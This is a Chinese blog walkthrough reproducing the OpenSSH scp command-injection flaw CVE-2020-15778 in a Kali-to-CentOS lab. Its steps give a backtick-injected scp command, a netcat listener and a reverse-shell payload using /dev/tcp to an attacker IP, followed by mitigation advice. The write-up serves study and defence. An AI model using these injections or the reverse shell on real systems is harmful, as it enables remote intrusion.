CVE-2020-15778漏洞复现
2020-09-14 本文已影响0人
YPL8
OpenSSH 命令注入漏洞(CVE-2020-15778)漏洞复现
详细描述
OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。
OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。
影响产品
产品:Openssh
影响的组件:SCP
漏洞版本:<= openssh-8.3p1
漏洞原理
使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:
scp Filename user@host:directory/Filename
在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:
scp -t directory/Filename
image.png
问题就出在这个地方,也就是"scp.c"文件的991行,如图。这个地方未对传入的文件路径进行检测防护。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。
利用环境
描述:要实现该漏洞必须知道ssh用户密码,但是一般来说ssh是阻止连接的。这个时候我们就可以利用这个漏洞进行连接。
攻击机:Kali-Linux-2020.3
受害机:CentOS-6.8
漏洞复现
1、在攻击机创建一个拷贝用的测试文件(为空即可)
touch test.txt
ls
image.png
2、测试在攻击机上scp到受害机
#使用scp命令将test.txt传送至受害机的tmp文件夹下
scp test.txt root@10.10.xx.xx:/tmp/test.txt
#之后需要输入受害机的密码,输入完成后,文件即传送过去了
image.png
3、查看受害机
#查看受害机/tmp目录,新增了test.txt文件
ls
image.png
注:上述是,测试scp命令是否可以正常使用
4、开始命令注入攻击
#在攻击机上通过特殊符号 ` 进行远程命令注入攻击
scp test.txt root@10.xx.xx.xx:'`touch /tmp/1.sh`/tmp/test.txt'
image.png
5、查看受害机
#查看受害机/tmp目录
ls
image.png
注:通过 `` 符号内实现任意远程命令执行
5、攻击机监听端口
#新建一个攻击机窗口进行监听端口,如8452
nc -lvp 8452
image.png
6、反弹shell命令注入攻击
番外:
命令格式:bash -i >&/dev/tcp/10.10.10.10/8452 0>&1
命令 | 解释 |
---|---|
bash -i | 产生一个交互式bash |
>& /dev/tcp/ip/port | 建立TCP连接,并将标准输出和错误重定向到TCP连接 |
0>&1 | 从TCP连接获取输入 |
言归正传:
#攻击机原窗口进行反弹shell命令注入攻击
scp test.txt root@受害机ip:'`bash -i >&/dev/tcp/攻击机ip/8452 0>&1`/tmp/test.txt'
image.png
7、查看新建的攻击机窗口
#执行成功,成功回显,如下图
image.png
修复建议
目前厂商暂未发布修复措施解决此安全问题,等待官方补丁https://www.openssh.com/
加强ssh密码或密钥的保护,周期性更换密码或密钥
使用rsync代替scp